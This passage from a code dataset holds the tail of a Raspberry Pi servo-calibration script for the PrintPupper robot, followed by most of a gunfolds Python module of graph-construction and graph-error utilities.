+ 5, axis, leg)\n time.sleep(0.25)\n self.set_actuator(set_point + offset - 5, axis, leg)\n time.sleep(0.25)\n\n if btn == BTN_MOVE_PLUS:\n offset += 0.5\n # print(offset, '++', sep='')\n\n if btn == BTN_MOVE_MINUS:\n offset -= 0.5\n # print(offset, '--', sep='')\n\n if btn == BTN_NEXT:\n # print('BTN_NEXT')\n break\n\n if btn == BTN_EXIT:\n # print('BTN_EXIT')\n mode_exit = True\n break\n\n self.set_actuator(set_point + offset, axis, leg)\n btn = 0\n\n print(motor_name, 'set', offset, '\\n')\n return offset, mode_exit\n\n\n def overwrite_ServoCalibration_file(self):\n preamble1 = \"# WARNING : This file is machine generated by run_robot_caliblate_mode.py.\"\n preamble2 = \"# Edit at your own risk.\"\n preamble3 = \"import numpy as np\"\n formatted_str = [[x for x in row] for row in self.neutraldegs]\n\n # Overwrite ServoCalibration.py file with modified values\n with open(\"/home/pi/PrintPupper/src/ServoCalibration.py\", \"w\") as f:\n print(preamble1, file = f)\n print(preamble2, file = f)\n print(preamble3, file = f)\n print(\"NEUTRAL_ANGLE_DEGREES = np.array(\", file = f)\n print(formatted_str, file = f)\n print(\")\", file = f)\n\n\nif __name__ == '__main__':\n config = Configuration()\n hardware_interface = HardwareInterface()\n joystick_interface = JoystickInterface(config)\n run_robot_caliblate_mode(config, hardware_interface, joystick_interface)\n\n","repo_name":"r9kawai/PrintPupper","sub_path":"src/run_robot_caliblate_mode.py","file_name":"run_robot_caliblate_mode.py","file_ext":"py","file_size_in_byte":7053,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"22026729351","text":"# tools to construct (random) graphs\nfrom gunfolds.conversions import nx2graph, nxbp2graph, graph2nx\nfrom gunfolds.utils import ecj\nfrom itertools import combinations\nimport networkx as nx\nfrom networkx.utils.random_sequence import powerlaw_sequence\nimport numpy as np\nimport random\n\n\ndef edgelist(g): # directed\n \"\"\"\n Returns a list of tuples for edges of ``g``\n \n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \n :returns: a list of tuples for edges of ``g``\n :rtype: list of tuples\n \"\"\"\n l = []\n for n in g:\n l.extend([(n, e) for e in g[n] if g[n][e] in (1, 3)])\n return l\n\n\ndef inedgelist(g): # missing directed iterator\n \"\"\"\n Iterate over the list of tuples for edges of ``g``\n \n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \"\"\"\n n = len(g)\n for v in g:\n for i in range(1, n + 1):\n if not (i in g[v]):\n yield v, i\n elif g[v][i] not in (1, 3):\n yield v, i\n\n\ndef inbedgelist(g): # missing bidirected iterator\n \"\"\"\n Iterate over the list of tuples for edges of ``g``\n \n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \"\"\"\n for v in g:\n for w in g:\n if v != w:\n if not (w in g[v]):\n yield v, w\n elif g[v][w] not in (2, 3):\n yield v, w\n\n\ndef bedgelist(g):\n \"\"\" \n Bidirected edge list with flips \n \n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \n :returns: a list of tuples for bidirected edges of ``g``\n :rtype: list of tuples\n \"\"\"\n l = []\n for n in g:\n l.extend([tuple(sorted((n, e))) for e in g[n] if g[n][e] in (2, 3)])\n l = list(set(l))\n l = l + list(map(lambda x: (x[1], x[0]), l))\n return l\n\n\ndef undedgelist(g, exclude_bi=False):\n \"\"\"\n Returns a list of tuples for undirected edges of ``g`` with nodes\n sorted in ascending order.\n \n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \n :param exclude_bi: if True, only converts directed edges to undirected\n edges. If False, converts directed and bidirected edges to undirected edges\n :type exclude_bi: boolean\n \n :returns: a list of tuples for undirected edges of ``g`` with nodes\n sorted in ascending order\n :rtype: list\n \"\"\"\n l = []\n if exclude_bi:\n for n in g:\n l.extend([(n, e) if n <= e else (e, n) for e in g[n] if g[n][e] in (1, 3)])\n else:\n for n in g:\n l.extend([(n, e) if n <= e else (e, n) for e in g[n] if g[n][e] in (1, 2, 3)])\n return set(l)\n\n\ndef superclique(n):\n \"\"\" \n Returns a Graph with all possible edges\n \n :param n: number of nodes\n :type n: integer\n \n :returns: a Graph with all possible edges\n :rtype: dictionary (``gunfolds`` graph)\n \"\"\"\n g = {}\n for i in range(n):\n g[i + 1] = {j + 1: 3 for j in range(n) if j != i}\n g[i + 1][i + 1] = 1\n return g\n\n\ndef fullyconnected(n):\n \"\"\"\n Returns a graph with all possible directed edges\n\n :param n: number of nodes\n :type n: integer\n\n :returns: a graph with all possible directed edges\n :rtype: dictionary(``gunfolds`` graph)\n \"\"\"\n g = {}\n for i in range(n):\n g[i + 1] = {j + 1: 1 for j in range(n)}\n return g\n\n\ndef complement(G):\n \"\"\" \n Returns the complement of ``G``\n \n :param G: ``gunfolds`` format graph\n :type G: dictionary (``gunfolds`` graph)\n \n :returns: the complement of ``G``\n :rtype: dictionary (``gunfolds`` graph)\n \"\"\"\n n = len(G)\n sq = superclique(n)\n for v in G:\n for w in G[v]:\n sq[v][w] = sq[v][w] - G[v][w]\n if sq[v][w] == 0:\n del sq[v][w]\n return sq\n\n\ndef gtranspose(G):\n \"\"\" \n Transpose (rev. edges of) ``G``\n \n :param G: ``gunfolds`` format graph\n :type G: dictionary (``gunfolds`` graph)\n \n :returns: Transpose of given graph\n :rtype: dictionary (``gunfolds`` graph)\n \"\"\"\n GT = {u: {} for u in G}\n for u in G:\n for v in G[u]:\n if G[u][v] in (1, 3):\n GT[v][u] = 1 # Add all reverse edges\n return GT\n\n\ndef scale_free(n, alpha=0.7, beta=0.25, delta_in=0.2, delta_out=0.2):\n \"\"\"\n (Copied from scale_free function in networkx should i need to add any citation)\n\n :param n: number of nodes\n :type n: integer\n \n :param alpha: probability for adding a new node connected to an existing node\n :type alpha: float\n \n :param beta: probability for adding an edge between two existing nodes.\n :type beta: float\n \n :param delta_in: bias for choosing nodes from in-degree\n :type delta_in: float\n \n :param delta_out: bias for choosing nodes from out-degree distribution.\n :type delta_out: float\n \n :returns: \n :rtype: \n \"\"\"\n g = nx.scale_free_graph(n, alpha=alpha,\n beta=beta,\n delta_in=delta_in, delta_out=delta_out)\n g = nx2graph(g)\n g = gtranspose(g)\n addAring(g)\n return g\n\n\ndef randH(n, d1, d2):\n \"\"\" \n Generate a random H with ``n`` nodes \n \n :param n: number of nodes\n :type n: integer\n \n :param d1: number of additional edges to the ring\n :type d1: integer\n \n :param d2: (ask) number of random permutations\n :type d2: integer\n \n :returns: a random graph with ``n`` nodes \n :rtype: dictionary (``gunfolds`` graph)\n \"\"\"\n g = ringmore(n, d1)\n pairs = [x for x in combinations(g.keys(), 2)]\n for p in np.random.permutation(pairs)[:d2]:\n g[p[0]][p[1]] = g[p[0]].get(p[1], 0) + 2\n g[p[1]][p[0]] = g[p[1]].get(p[0], 0) + 2\n return g\n\n\ndef ring(n):\n \"\"\"\n Create a Ring Graph with ``n`` number of nodes\n\n :param n: number of nodes\n :type n: integer\n \n :returns: a Ring Graph with ``n`` number of nodes\n :rtype: dictionary (``gunfolds`` graph)\n \"\"\"\n g = {}\n for i in range(1, n):\n g[i] = {i + 1: 1}\n g[n] = {1: 1}\n return g\n\n\ndef addAring(g):\n \"\"\"\n Add a ring to ``g`` in place\n \n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \"\"\"\n for i in range(1, len(g)):\n if g[i].get(i + 1) == 2:\n g[i][i + 1] = 3\n else:\n g[i][i + 1] = 1\n if g[i].get(1) == 2:\n g[i][1] = 3\n else:\n g[i][1] = 1\n\n\ndef upairs(n, k):\n \"\"\"\n Returns ``n`` unique nonsequential pairs\n \n :param n: (ask)\n :type n: integer\n \n :param k: (ask)\n :type k: integer\n \n :returns: n unique nonsequential pairs\n :rtype: list\n \"\"\"\n s = set()\n for p in np.random.randint(n, size=(3 * k, 2)):\n if p[1] - p[0] == 1:\n continue\n s.add(tuple(p))\n return list(s)[:k]\n\n\ndef ringarcs(g, n):\n \"\"\"\n (Ask)\n\n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \n :param n: (ask)\n :type n: integer\n \n :returns: \n :rtype: dictionary (``gunfolds`` graph)\n \"\"\"\n for edge in upairs(len(g), n):\n g[edge[0] + 1][edge[1] + 1] = 1\n return g\n\n\ndef ringmore(n, m):\n \"\"\"\n Returns a ``n`` node ring graph with ``m`` additional edges\n\n :param n: number of nodes\n :type n: integer\n \n :param m: number of additional edges\n :type m: integer\n \n :returns: a ``n`` node ring graph with ``m`` additional edges\n :rtype: dictionary (``gunfolds`` graph)\n \"\"\"\n return ringarcs(ring(n), m)\n\n\ndef digonly(H):\n \"\"\" \n Returns a subgraph of ``H`` contatining all directed edges of ``H``\n\n :param H: ``gunfolds`` graph\n :type H: dictionary (``gunfolds`` graph)\n \n :returns: a subgraph of ``H`` contatining all directed edges of ``H``\n :rtype: dictionary (``gunfolds`` graph)\n \"\"\"\n\n g = {n: {} for n in H}\n for v in g:\n g[v] = {w: 1 for w in H[v] if not H[v][w] == 2}\n return g\n\n\ndef _OCE(g1, g2):\n \"\"\"\n Omission/commision error of ``g1`` referenced to ``g2``\n \n :param g1: the graph to check\n :type g1: dictionary (``gunfolds`` graph)\n \n :param g2: the ground truth graph\n :type g2: dictionary (``gunfolds`` graph)\n \n :returns: Omission/commision error for directed and bidirected edges\n :rtype: dictionary\n \"\"\"\n s1 = set(edgelist(g1))\n s2 = set(edgelist(g2))\n omitted = len(s2 - s1)\n comitted = len(s1 - s2)\n\n s1 = set(bedgelist(g1))\n s2 = set(bedgelist(g2))\n bomitted = len(s2 - s1)//2\n bcomitted = len(s1 - s2)//2\n\n return {'directed': (omitted, comitted),\n 'bidirected': (bomitted, bcomitted),\n 'total': (omitted+bomitted, comitted+bcomitted)}\n\n\ndef _normed_OCE(g1, g2):\n \"\"\"\n Return omission and comission errors for directed and\n bidirected edges.\n\n Omission error is normalized by the number of edges present\n in the ground truth. Commision error is normalized by the\n number of possible edges minus the number of edges present\n in the ground truth.\n \n :param g1: the graph to check\n :type g1: dictionary (``gunfolds`` graph)\n \n :param g2: the ground truth graph\n :type g2: dictionary (``gunfolds`` graph)\n \n :returns: normalized omission and comission errors for directed and\n bidirected edges.\n :rtype: dictionary\n \"\"\"\n def sdiv(x, y):\n if y < 1.:\n return 0.\n return x/y\n\n n = len(g2)\n gt_DEN = float(len(edgelist(g2))) # number of d edges in GT\n gt_BEN = 0.5 * len(bedgelist(g2)) # number of bi edges in GT\n DEN = n*n # all posible directed edges\n BEN = n*(n-1)/2 # all possible bidirected edges\n err = OCE(g1, g2)\n nerr = {'directed': (sdiv(err['directed'][0], gt_DEN),\n sdiv(err['directed'][1], (DEN - gt_DEN))),\n 'bidirected': (sdiv(err['bidirected'][0], gt_BEN),\n sdiv(err['bidirected'][1], (BEN - gt_BEN))),\n 'total': (sdiv((err['directed'][0]+err['bidirected'][0]), (gt_DEN+gt_BEN)),\n sdiv((err['directed'][1]+err['bidirected'][1]),\n (DEN+BEN - gt_BEN - gt_DEN)))\n }\n return nerr\n\n\ndef _undirected_OCE(g1, g2):\n \"\"\"\n Returns omission/commision error of ``g1`` referenced to ``g2``\n if both are undirected graphs.\n \n :param g1: the graph to check\n :type g1: dictionary (``gunfolds`` graph)\n \n :param g2: the ground truth graph\n :type g2: dictionary (``gunfolds`` graph)\n \n :returns: omission and comission errors for undirected edges\n :rtype: dictionary\n \"\"\"\n \n s1 = set(undedgelist(g1))\n s2 = set(undedgelist(g2))\n omitted = len(s2 - s1)\n comitted = len(s1 - s2)\n return {'undirected': (omitted, comitted)}\n\n\ndef _normed_undirected_OCE(g1, g2):\n \"\"\"\n Return omission and comission errors for undirected edges.\n\n Omission error is normalized by the number of edges present\n in the ground truth. Commision error is normalized by the\n number of possible edges minus the number of edges present\n in the ground truth.\n\n :param g1: the graph to check\n :type g1: dictionary (``gunfolds`` graph)\n \n :param g2: the ground truth graph\n :type g2: dictionary (``gunfolds`` graph)\n \n :returns: omission and comission errors for normalized undirected edges\n :rtype: dictionary\n \"\"\"\n\n def sdiv(x, y):\n if y < 1.:\n return 0.\n return x / y\n\n n = len(g2)\n gt_DEN = float(len(undedgelist(g2))) # number of undirected edges in GT\n DEN = n * n + n # all posible undirected edges\n err = _undirected_OCE(g1, g2)\n nerr = {'undirected': (err['undirected'][0]/gt_DEN,\n sdiv(err['undirected'][1], (DEN - gt_DEN)))}\n return nerr\n\n\ndef OCE(g1, g2, normalized=False, undirected=False):\n \"\"\"\n Return omission and comission errors for graphs.\n\n :param g1: the graph to check\n :type g1: dictionary (``gunfolds`` graph)\n \n :param g2: the ground truth graph\n :type g2: dictionary (``gunfolds`` graph)\n \n :param normalized: If True, returns normalized error and vice versa\n :type normalized: boolean\n \n :param undirected: If True, returns undirected error and vice versa\n :type undirected: boolean\n \n :returns: omission and comission errors for graphs\n :rtype: dictionary\n \"\"\"\n if normalized:\n if undirected:\n err = _normed_undirected_OCE(g1, g2)\n else:\n err = _normed_OCE(g1, g2)\n else:\n if undirected:\n err = _undirected_OCE(g1, g2)\n else:\n err = _OCE(g1, g2)\n return err\n\n\ndef clean_leaf_nodes(g):\n \"\"\"\n Removes leaf_nodes of the given graph ``g``\n\n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \"\"\"\n for v in g:\n g[v] = {w: g[v][w] for w in g[v] if g[v][w] > 0}\n\n\ndef cerror(d):\n \"\"\"\n Returns normalized comission error\n\n :param d: calculated error\n :type d: dictionary\n \n :returns: normalized comission error\n :rtype: float\n \"\"\"\n return d['OCE']['directed'][1] / np.double(len(d['gt']['graph']) ** 2 - len(edgelist(d['gt']['graph'])))\n\n\ndef oerror(d):\n \"\"\"\n Returns normalized omission error\n\n :param d: calculated error\n :type d: dictionary\n \n :returns: normalized omission error\n :rtype: float\n \"\"\"\n return d['OCE']['directed'][0] / np.double(len(edgelist(d['gt']['graph'])))\n\n\ndef bidirected_no_fork(g):\n \"\"\"\n (Ask)\n\n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \n :returns: \n :rtype: boolean\n \"\"\"\n be = bedgelist(g)\n T = gtranspose(g)\n for e in be:\n if not set(T[e[0]].keys()) & set(T[e[1]].keys()):\n return True\n return False\n\n\ndef no_parents(g):\n \"\"\"\n Checks if there exists a node that has no parents in the given graph ``g``.\n\n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \n :returns: True, if there exists a node with no parents. False, otherwise.\n :rtype: boolean\n \"\"\"\n T = gtranspose(g)\n for n in T:\n if not T[n]:\n return True\n return False\n\n\ndef no_children(g):\n \"\"\"\n Checks if there exists a node that has no children in the given graph ``g``.\n\n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \n :returns: True, if there exists a node with no children. False, otherwise.\n :rtype: boolean\n \"\"\"\n for n in g:\n if not g[n]:\n return True\n return False\n\n\ndef scc_unreachable(g):\n \"\"\"\n Checks if there exists a strongly connected component in the given graph ``g`` that is unreachable.\n\n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \n :returns: True, if there exists SCC that is unreachable. False, otherwise.\n :rtype: boolean\n \"\"\"\n if bidirected_no_fork(g):\n return True\n if no_parents(g):\n return True\n if no_children(g):\n return True\n return False\n\n# unlike functions from traversal package these do no checking\n\n\ndef addanedge(g, e):\n \"\"\"\n Adds an edge ``e`` from the given graph ``g``\n\n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \n :param e: edge to be added\n :type e: pair of integers\n \"\"\"\n g[e[0]][e[1]] = 1\n\n\ndef delanedge(g, e):\n \"\"\"\n Deletes an edge ``e`` from the given graph ``g``\n\n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \n :param e: edge to be deleted\n :type e: pair of integers\n \"\"\"\n g[e[0]].pop(e[1], None)\n\n\ndef addedges(g, es):\n \"\"\"\n Adds the edges in the list ``es`` for given graph ``g``.\n\n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \n :param es: list of edges to be added\n :type es: list of pairs of integers\n \"\"\"\n for e in es:\n addanedge(g, e)\n\n\ndef deledges(g, es):\n \"\"\"\n Deletes the edges in the list ``es`` for given graph ``g``.\n\n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \n :param es: list of edges to be deleted\n :type es: list of pairs of integers\n \"\"\"\n for e in es:\n delanedge(g, e)\n\n\ndef isdedgesubset(g2star, g2):\n \"\"\"\n Checks if ``g2star`` directed edges are a subset of those of ``g2``\n \n :param g2star: ``gunfolds`` graph to be checked\n :type g2star: dictionary (``gunfolds`` graph)\n \n :param g2: ``gunfolds`` graph\n :type g2: dictionary (``gunfolds`` graph)\n \n :returns: True, if ``g2star`` directed edges are a subset of those of ``g2`` and vice versa\n :rtype: boolean\n \"\"\"\n for n in g2star:\n for h in g2star[n]:\n if h in g2[n]:\n # if g2star has a directed edge and g2 does not\n if g2star[n][h] in (1, 3) and g2[n][h] == 2:\n return False\n else:\n return False\n return True\n\n\ndef isedgesubset(g2star, g2):\n \"\"\"\n Checks if all ``g2star`` edges are a subset of those of ``g2``\n \n :param g2star: ``gunfolds`` graph to be checked\n :type g2star: dictionary (``gunfolds`` graph)\n \n :param g2: ``gunfolds`` graph\n :type g2: dictionary (``gunfolds`` graph)\n \n :returns: True, if all ``g2star`` edges are a subset of those of ``g2`` and vice versa\n :rtype: boolean\n \"\"\"\n for n in g2star:\n for h in g2star[n]:\n if h in g2[n]:\n # Everything is a subset of 3 (both edge types)\n if g2[n][h] != 3:\n # Either they both should have a directed edge, or\n # both should have a bidirected edge\n if g2star[n][h] != g2[n][h]:\n return False\n else:\n return False\n return True\n\n\ndef degree_ring(n, d):\n \"\"\"\n Generate a ring graph with ``n`` nodes and average degree ``d``\n \n :param n: number of nodes\n :type n: integer\n \n :param d: degree\n :type d: integer\n \n :returns: a ring graph with ``n`` nodes and average degree ``d``\n :rtype: dictionary(``gunfolds`` graph)\n \"\"\"\n g = nx.expected_degree_graph([d-1]*n)\n gn = nx2graph(g)\n addAring(gn)\n return gn\n\n\ndef density(g):\n \"\"\"\n Returns the density of the directed part of the graph ``g``.\n\n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \n :returns: the density of the directed part of the graph\n :rtype: float\n \"\"\"\n return len(edgelist(g)) / np.double(len(g) ** 2)\n\n\ndef udensity(g):\n \"\"\"\n Returns the density of a undersampled graph that simultaneously accounts for directed and bidirected edges of ``g``.\n\n :param g: `gunfolds` graph\n :type g: dictionary (`gunfolds` graph)\n \n :returns: the density of the given undersampled graph\n :rtype: float\n \"\"\"\n return (len(edgelist(g))+len(bedgelist(g))/2) / np.double(len(g)**2 + len(g)*(len(g)-1)/2)\n\n\ndef mean_degree_graph(node_num, degree):\n \"\"\"\n Generates a random graph with ``node_num``, nodes and mean outgoing degree of ``degree``.\n\n :param node_num: number of nodes\n :type node_num: integer\n \n :param degree: degree\n :type degree: integer\n \n :returns: a random graph with mean outgoing degree of the given graph\n :rtype: dictionary(``gunfolds`` graph)\n \"\"\"\n g = nx.fast_gnp_random_graph(node_num, degree/node_num, directed=True)\n g = nx2graph(g)\n return g\n\n\ndef pow_degree_graph(node_num, degree):\n \"\"\"\n Generates a graph by powerlaw sequence of ``degree`` constructed using the Havel-Hakimi algorithm.\n\n :param node_num: number of nodes\n :type node_num: integer\n \n :param degree: degree\n :type degree: integer\n \n :returns: a graph constructed using the Havel-Hakimi algorithm.\n :rtype: dictionary(``gunfolds`` graph)\n \"\"\"\n while True:\n try:\n sequence = powerlaw_sequence(node_num, exponent=degree)\n g = nx.havel_hakimi_graph([int(x) for x in sequence])\n break\n except nx.NetworkXError:\n continue\n g = nx2graph(g)\n return g\n\n\ndef bp_mean_degree_graph(node_num, degree, seed=None):\n \"\"\"\n Generates a random bipartite graph with ``node_num``, nodes and mean outgoing degree (``degree``)\n\n :param node_num: number of nodes\n :type node_num: integer\n \n :param degree: degree\n :type degree: float\n \n :param seed: random seed\n :type seed: integer\n \n :returns: a random bipartite graph with ``node_num``, nodes and mean outgoing degree of ``degree``\n :rtype: dictionary(``gunfolds`` graph)\n \"\"\"\n G = nx.bipartite.random_graph(node_num, node_num, degree/node_num, seed=seed)\n g = nxbp2graph(G)\n return g\n\n\n# this function does not work yet - WIP\ndef bp_pow_degree_graph(node_num, degree, prob=0.7):\n \"\"\"\n Generates a bipartite graph by powerlaw sequence of ``degree`` constructed using the Havel-Hakimi algorithm.\n\n :param node_num: number of nodes\n :type node_num: integer\n \n :param degree: degree\n :type degree: integer\n \n :param prob: probability \n :type prob: float\n \n :returns: a bipartite graph constructed using the Havel-Hakimi algorithm.\n :rtype: dictionary(``gunfolds`` graph)\n \"\"\"\n while True:\n try:\n sequence = powerlaw_sequence(node_num, exponent=degree)\n g = nx.bipartite.preferential_attachment_graph([int(x) for x in sequence], prob)\n break\n except nx.NetworkXError:\n continue\n g = nxbp2graph(g)\n return g\n\n\ndef remove_tril_singletons(T):\n \"\"\"\n Ensure that the DAG resulting from this matrix will not have\n singleton nodes not connected to anything.\n\n :param T: lower triangular matrix representing a DAG\n :type T: numpy array\n \n :returns: adjacency matrix where no singleton nodes are connected to anything\n :rtype: numpy array \n \"\"\"\n N = T.shape[0]\n neighbors = T.sum(0) + T.sum(1)\n idx = np.where(neighbors == 0)\n if idx:\n for i in idx[0]:\n v1 = i\n while i == v1:\n v1 = np.random.randint(0, N-1)\n if i > v1:\n T[i][v1] = 1\n elif i < v1:\n T[v1][i] = 1\n return T\n\n\ndef randomTRIL(N, degree=5, connected=False):\n \"\"\"\n Generate a random triangular matrix\n\n https://stackoverflow.com/a/56514463\n \n :param N: size of the matrix\n :type N: integer\n \n :param degree: degree\n :type degree: integer\n \n :param connected: (Ask)\n :type connected: boolean\n \n :returns: a random triangular adjacency matrix\n :rtype: numpy array \n \"\"\"\n mat = [[0 for x in range(N)] for y in range(N)]\n for _ in range(N):\n for j in range(degree):\n v1 = np.random.randint(0, N-1)\n v2 = np.random.randint(0, N-1)\n if v1 > v2:\n mat[v1][v2] = 1\n elif v1 < v2:\n mat[v2][v1] = 1\n mat = np.asarray(mat, dtype=np.uint8)\n if connected:\n mat = remove_tril_singletons(mat)\n return mat\n\n\ndef randomDAG(N, degree=5, connected=True):\n \"\"\"\n Generates a random DAG\n\n :param N: number of nodes\n :type N: integer\n \n :param degree: degree\n :type degree: integer\n \n :param connected: If true, returns a connected DAG\n :type connected: boolean\n \n :returns: a random DAG\n :rtype: NetworkX graph\n \"\"\"\n adjacency_matrix = randomTRIL(N, degree=degree,\n connected=connected)\n rows, cols = np.where(adjacency_matrix == 1)\n edges = zip(rows.tolist(), cols.tolist())\n gr = nx.DiGraph()\n gr.add_edges_from(edges)\n if connected:\n components = [x for x in nx.algorithms.components.weakly_connected_components(gr)]\n if len(components) > 1:\n for component in components[1:]:\n v1 = random.choice(tuple(components[0]))\n v2 = random.choice(tuple(component))\n gr.add_edge(v1, v2)\n assert nx.is_directed_acyclic_graph(gr)\n assert nx.algorithms.components.is_weakly_connected(gr)\n return gr\n\n\ndef shift_labels(g, shift):\n \"\"\"\n Returns same graph with shifted labels\n\n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \n :param shift: number of vertices to be shifted\n :type shift: integer\n \n :returns: same graph with shifted labels\n :rtype: dictionary(``gunfolds`` graph)\n \"\"\"\n new_g = {}\n for v in g:\n new_g[v+shift] = {}\n for w in g[v]:\n new_g[v+shift][w+shift] = g[v][w]\n return new_g\n\n\ndef shift_list_labels(glist):\n \"\"\"\n Shifts the labels for a list of graphs\n\n :param glist: a list of graphs that are undersampled versions of\n the same system\n :type glist: list of dictionaries (``gunfolds`` graphs)\n \n :returns: shifted list of graphs\n :rtype: list\n \"\"\"\n if len(glist) < 2:\n return glist\n components = [glist[0]]\n shift = len(glist[0])\n for i in range(1, len(glist)):\n components.append(shift_labels(glist[i], shift))\n shift += len(glist[i])\n return components\n\n\ndef merge_list(glist):\n \"\"\"\n Merge the graphs in the list\n\n :param glist: a list of graphs that are undersampled versions of\n the same system\n :type glist: list of dictionaries (``gunfolds`` graphs)\n \n :returns: merged graph of a list\n :rtype: dictionary(``gunfolds`` graph)\n \"\"\"\n g = {}\n for e in glist:\n g.update(e)\n return g\n\n\ndef subgraph(g, nodes):\n \"\"\"\n Returns a subgraph of ``g`` that consists of ``nodes`` and their\n interconnections.\n\n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n\n :param nodes: integer valued nodes to include\n :type nodes: list\n \n :returns: a subgraph of ``g`` that consists of ``nodes`` and their\n interconnections.\n :rtype: dictionary(``gunfolds`` graph)\n \"\"\"\n nodes = set(nodes)\n sg = {}\n for node in nodes:\n sg[node] = {x: g[node][x] for x in g[node]}\n return sg\n\n\ndef gcd4scc(SCC):\n # first check if there is at least a single simple loop\n \"\"\"\n Returns the greatest common divisor of the strongly connected component\n\n :param SCC: a strongly connected component\n :type SCC: dictionary (``gunfolds`` graph)\n \n :returns: the greatest common divisor of the strongly connected component\n :rtype: integer\n \"\"\"\n x = np.sum([selfloop(_, SCC) for _ in SCC])\n if x > 0:\n return 1\n g = graph2nx(SCC)\n return ecj.listgcd([len(x) for x in nx.simple_cycles(g)])\n\n\ndef ensure_gcd1(scc):\n \"\"\"\n If ``scc``'s loop structure is not ``gcd=1`` pick a random node and\n add a self-loop\n\n :param scc: a strongly connected component\n :type scc: dictionary (``gunfolds`` graph)\n \n :returns: a graph with ``gcd=1``\n :rtype: dictionary (``gunfolds`` graph)\n \"\"\"\n if gcd4scc(scc) > 1:\n a = random.choice([*scc])\n scc[a][a] = 1\n return scc\n\n\ndef update_graph(g, g2):\n \"\"\"\n Update ``g`` with connections (or nodes) from ``g2``. Both must be at ``u=1``\n \n :param g: graph to be updated\n :type g: dictionary (``gunfolds`` graph)\n \n :param g2: reference graph\n :type g2: dictionary (``gunfolds`` graph)\n \n :returns: updated ``g`` with respect to ``g2``\n :rtype: dictionary (``gunfolds`` graph)\n \"\"\"\n for v in g2:\n if v in g:\n g[v].update(g2[v])\n else:\n g[v] = g2[v].copy()\n return g\n\n\ndef merge_graphs(glist):\n \"\"\"\n Merge a list of graphs at ``u=1`` into a single new graph ``g``\n \n :param glist: a list of graphs that are undersampled versions of\n the same system\n :type glist: list of dictionaries (``gunfolds`` graphs)\n \n :returns: a new graph by merging a list of graphs at ``u=1``\n :rtype: dictionary (``gunfolds`` graph)\n \"\"\"\n g = {}\n for subg in glist:\n update_graph(g, subg)\n return g\n\n\ndef ensure_graph_gcd1(g, ignore_singletons=True):\n \"\"\"\n This function takes any graph, breaks it into SCCs and make sure each SCC has a gcd of 1\n\n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n\n :param ignore_singletons: ignores singleton SCCs when adding a self-loop to make gcd=1\n :type ignore_singletons: boolean\n\n :returns: a graph with ``gcd=1``\n :rtype: dictionary (``gunfolds`` graph)\n \"\"\"\n G = graph2nx(g)\n if ignore_singletons:\n x = [ensure_gcd1(subgraph(g, c)) for c in nx.strongly_connected_components(G) if len(c) > 1]\n else:\n x = [ensure_gcd1(subgraph(g, c)) for c in nx.strongly_connected_components(G)]\n return merge_graphs([g] + x)\n\n\ndef gcd1_bp_mean_degree_graph(node_num, degree, seed=None):\n \"\"\"\n Returns a random graph with ``gcd=1``\n\n :param node_num: number of nodes\n :type node_num: integer\n \n :param degree: degree\n :type degree: float\n \n :param seed: random seed\n :type seed: integer\n \n :returns: a random graph with ``gcd=1``\n :rtype: dictionary (``gunfolds`` graph)\n \"\"\"\n g = bp_mean_degree_graph(node_num, degree, seed)\n return ensure_graph_gcd1(g)\n\n\ndef ring_sccs(num, num_sccs, dens=0.5, degree=3, max_cross_connections=3):\n \"\"\"\n Generate a random graph with ``num_sccs`` SCCs, n-nodes each\n \n :param num: number of nodes in each sec\n :type num: integer\n \n :param num_sccs: number of secs\n :type num_sccs: integer\n \n :param dens: density of each sac\n :type dens: float\n \n :param degree: degree of the connecting DAG\n :type degree: integer\n \n :param max_cross_connections: maximum number of connections per each edge in DAG\n :type max_cross_connections: integer\n \n :returns: a random graph with ``num_sccs`` SCCs, n-nodes each\n :rtype: dictionary (``gunfolds`` graph)\n \"\"\"\n dag = randomDAG(num_sccs, degree=degree)\n while nx.is_empty(dag):\n dag = randomDAG(num_sccs, degree=degree)\n if not nx.is_weakly_connected(dag):\n randTree = nx.random_tree(n=num_sccs, create_using=nx.DiGraph)\n dag = remove_loop(nx.compose(dag, randTree), dag=dag)\n ss = shift_list_labels([ensure_gcd1(ringmore(num, max(int(dens * num**2)-num, 1))) for i in range(num_sccs)])\n for v in dag:\n v_nodes = [x for x in ss[v].keys()]\n for w in dag[v]:\n w_nodes = [x for x in ss[w].keys()]\n for i in range(np.random.randint(low=1, high=max_cross_connections+1)):\n a = random.choice(v_nodes)\n b = random.choice(w_nodes)\n ss[v][a][b] = 1\n return merge_list(ss)\n\n\ndef selfloop(n, g):\n \"\"\"\n Checks if ``g`` has a self loop at node n\n\n :param n: node\n :type n: integer\n \n :param g: ``gunfolds`` graph\n :type g: dictionary (``gunfolds`` graph)\n \n :returns: True if ``g`` has a self loop at node n and vice versa\n :rtype: boolean\n \"\"\"\n return n in g[n]\n\n\ndef remove_loop(G, dag):\n \"\"\" \n Removes the loops from ``G`` according to ``dag``\n\n :param G: graph\n :type G: NetworkX graph\n \n :param dag: DAG\n :type dag: NetworkX graph\n \n :returns: graph with removed loop according to DAG\n :rtype: NetworkX 